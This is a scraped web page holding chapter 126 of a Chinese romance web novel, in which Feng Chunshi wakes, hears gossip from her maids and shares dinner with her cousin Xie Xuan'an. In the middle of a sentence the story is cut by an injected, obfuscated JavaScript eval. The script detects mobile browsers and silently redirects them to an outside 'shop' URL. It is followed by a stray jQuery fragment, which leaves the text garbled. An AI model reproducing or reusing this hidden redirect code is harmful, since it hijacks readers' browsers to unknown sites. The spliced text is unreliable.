126. 暮见
作品:《南边来的表姑娘》 待冯春时醒过来时,天色正昏黄,屋中点着几盏灯,皆是放在离她较远的地方,混合着投进屋中的余晖,将整个里屋照成一片暖黄色。
那几盏昏黄的烛光,被不知何处而来的微风,吹得四下曳动。
冯春时撑坐起身,撩开了床帐,微眯着眼睛,往窗外头看了一眼,想大致判断一下眼下的时间。
听到了冯春时起身的动静,屏风外头的云书忙绕过屏风,走进了里屋,一面说道:“姑娘醒了,且待奴婢将屋子弄亮一些。”
冯春时闻言,便也不急着下床,“嗯”了一声后,就静静坐在床边,等着云书和刚进来的云袖云画一道过来。
云书先去将屋中的灯盏点亮,不一会儿,整个屋子便一下明亮了起来,如白昼一般,将屋内的摆设和角落都照得分明。
云袖则是走到床榻边,蹲下身为冯春时套上了鞋袜,然后在冯春时落地后,取来放在一旁的家常衣裳,替她仔细穿上。
“如今是什么时辰了?”冯春时接过了云画递来了热帕子,擦了擦脸,让自己醒了醒神,而后看了一眼天色,问道。
“已是申时末了。方才夫人遣人来问,得知姑娘还未醒,便交代了奴婢几个,让姑娘酉时起身,便在自个儿院中用饭便好。”云画接过冯春时递回来的帕子,一面将帕子放进铜盆中清洗,一面侧头笑着回道,“夫人特意叮嘱了,今日事多繁杂,姑娘今日也劳累,晚饭再过去也是一番折腾,不若就在自个院中吃了,也能早些休息。”
冯春时点了点头,停顿了一下,又问道:“姨母可还有其他交代的?”
云书走过来,扶着她走到妆台前坐下,拿起梳子将她头发梳理齐整,然后笑着说道:“旁的倒是未曾多说,不过方才来了人,说夫人交代了厨房,特特为姑娘炖了一盅八珍汤。待会儿姑娘用饭时,同饭菜一并给姑娘端过来。厨房那边说是特意按着姑娘的口味调了味,又是温补之物,姑娘好歹用上几口。”
“既是姨母吩咐厨房特意做的,自然是要喝的。”冯春时轻笑着点头,看着镜中自己白得有些过分的脸,抬手摸了摸脸,状似不经意一般,问道,“表哥…和姨父可回府了?”
站在冯春时身后的三个丫鬟,听闻她的话后,相视一笑,然后云书笑道:“自然是回府了的。只不过,世子才回府后,便径直去了夫人那儿。不到两刻钟的时间,夫人便发了好大一通火,拿着……藤条,将世子给赶出了院子,让世子寻处凉快地儿待着去,莫要在她面前做白日梦,碍了她的眼。”
冯春时闻言,怔了一下,忙问道:“可知是说了什么,竟叫姨母发了这么大的火?”
莫不是谢玄安真的同陆夫人说,要立时着手准备定亲和下聘事宜了?若真是这样的话,陆夫人确实会大发雷霆……
“具体发生了何事,奴婢确是不知。不过听闻,世子归来时,腰间竟挂着一只香囊。”云袖手指灵巧地穿梭过冯春时的长发,将她的头发挽成一个简单的堕马髻,一面侧头笑道,“许多下人都瞧见了,还颇为吃惊了一番呢。毕竟世子可是从不佩戴香囊的,就连夫人,恐怕都以为世子不爱佩戴这些零碎玩意,每逢制衣物,都不曾为世子准备过香囊之物。”
冯春时闻言,面上不禁有些发烫,抬眼看了一眼镜中,便瞧见云袖笑意盈盈的模样,一下就看出来云袖是故意在打趣她,当即瞪了镜中的云袖一眼,却并未出言解释。
毕竟绣香囊这事,这几个丫鬟倒是都见过,连花样子都是她们帮忙画好的,想让她们猜不到香囊去了何处,着实有些困难。
可若是在此时解释了,只怕也是无用的。毕竟她又确实应下了谢玄安的心意,再如何否认,恐怕也瞒不了多久。
冯春时抿了下唇,移开了目光,转而说道:“除此之外,可还有其他事情?宫中……”
“奴婢在府中,倒只听得夫人和世子的事情,其余事情皆未曾听闻。”云书接过了话,扶着冯春时站起身,一面说道,“姑娘且安心,左右宫中若真有个风吹草动,消息自然会传出来了。便是外头不知道,世子多少都能得知些许,然后打点安排下来,不至于叫府中两眼一抹黑的。”
冯春时闻言,也勉强压下了面上的思虑之色,对着她浅笑着点了一下头,说道:“确是如此。时候也不早了,这便摆饭罢。再晚些,只怕耽误了厨房那边关门下匙的时间,倒叫人劳累。”
“奴婢这便下去安排。”云袖笑着应声,快步走出了屋中。
冯春时绕过屏风,走到外间之时,便听得采薇从外头走近,撩开帘子站在门口。
她看着冯春时,面上多有踌躇之色,憋了半天,只憋出来一句“姑娘”,然后便又露出了欲言又止的神情。
“何事?”冯春时坐到铺了软垫的座椅上,侧头有些疑惑地看着她,温声问道,“可是姨母有什么事交代?”
采薇忙摇摇头否认,然后往外头飞快地瞥了一眼,说道:“是世子,此时正在外头。”
冯春时一怔,下意识顺着她的目光,也往院门的方向看了一眼,问道:“表哥在外头做什么?可是有事要说?”
采薇闻言,面上也是一片疑惑之色,摇了一下头,老实道:“这……奴婢也不知。世子过来应当有一会了,只问了奴婢一句姑娘可醒了。得知姑娘未醒后,便不知去了何处。此时,忽又过来了,正站在院门外。奴婢方瞧见,这便来同姑娘说了。”
冯春时闻言,一下就想到方才听闻的,谢玄安被陆夫人赶出了主院,恐怕他来这儿,也和此事有些许关系罢?
想到这里,冯春时抿了下唇,温声细语道:“恐怕是表哥有事要说。此时天色正晚了,表哥或许尚未用过晚饭,且先将人请进来罢。”
采薇点了两下头,低着头转身出去了。
云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196854|190625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
书闻言,侧头笑着同冯春时说道:“既如此,奴婢便去厨房吩咐一声,多备一副碗筷过来。”
冯春时颔首,云书便从一旁出了门去。她前脚刚走,没多久,采薇后脚就领着谢玄安走了进来。
谢玄安应当是去换过了一身衣服,此时正穿着一身素青色的家常衣衫,衣摆处绣着一丛翠竹,正好与腰间同样绣着翠竹的香囊互相衬映。
他的长发半束着,发尾还带着几分潮意,应当是才沐浴过一番,身上的香气也比白日要浓郁几分。
谢玄安的人才刚跨过门槛,晚风一吹,冯春时便能闻到他身上雅致微苦的香气。
冯春时不禁一默,抬眼着谢玄安笑盈盈地走近,停在她面前片刻,装模作样地同她拱手,说道:“见过表妹,表妹今日歇息得可还好?”
随着他的动作,身上的香味越发向她扑涌过来,几乎要将她包围沉溺其中。
“表哥何需这般多礼?”冯春时抬头瞧了他一眼,侧过身,用眼神往自己对面示意了一下,说道,“表哥方才在外头站了半天,想来也累了,还是先坐下,再说话罢。”
谢玄安眉梢微扬,轻笑了两声,当即从善如流地走到她示意的位置,从容不迫地坐下,然后说道:“虽说我体力尚可,即便是表妹再让我多站一两个时辰,也是无妨的。不过,表妹体恤,我自然是要诚心应下。”
冯春时睨他一眼,又侧过头用余光往身后看了一眼,没有作声,低头摆弄着茶盏。
“这个时辰,表妹可是尚未用过晚饭?”谢玄安知晓她的顾虑,也不以为意,只温柔笑道,“我今日被母亲赶了出来,也未能用饭。不知表妹可否怜惜我,容我与表妹一道用饭?”
“表哥既都这般说了,我又如何能把表哥赶出去?”冯春时叹息了一声,语气幽幽地说道,“只是,表哥能沐浴更衣,却使唤不动厨房送一份吃食么?”
谢玄安神色泰然,顺着冯春时的话点了下头,装模作样地叹息一声,露出一副委屈无辜的模样,说道:“表妹有所不知,母亲今日将我赶出主院之时,便发了话,让厨房断不能予我吃食。我实在无计可施,又想到表妹向来心善,只能来寻求表妹,望表妹垂怜了。”
冯春时握着茶盏的手紧了紧,下意识往后看了一眼,见那几个丫鬟皆是低着头,作眼观鼻鼻观心状,便转回来没好气地瞪了谢玄安一眼。
然后冯春时估算了一下时间,侧头吩咐采薇几个,下去将洗漱净手的用具端上来。
见着几个丫鬟退出了屋子,谢玄安笑着摸了摸鼻尖,转口说起了一些无关紧要的话来。
不多时,采薇几人端着铜盆等一系列用具进来,服侍着两人净手漱口过后,云书几人也提着食盒过来了。
冯春时看着周围有条不紊忙碌着的丫鬟们,又看向动作从容雅致的谢玄安,将心中那点好奇和疑惑压下,低头专心喝起汤来。

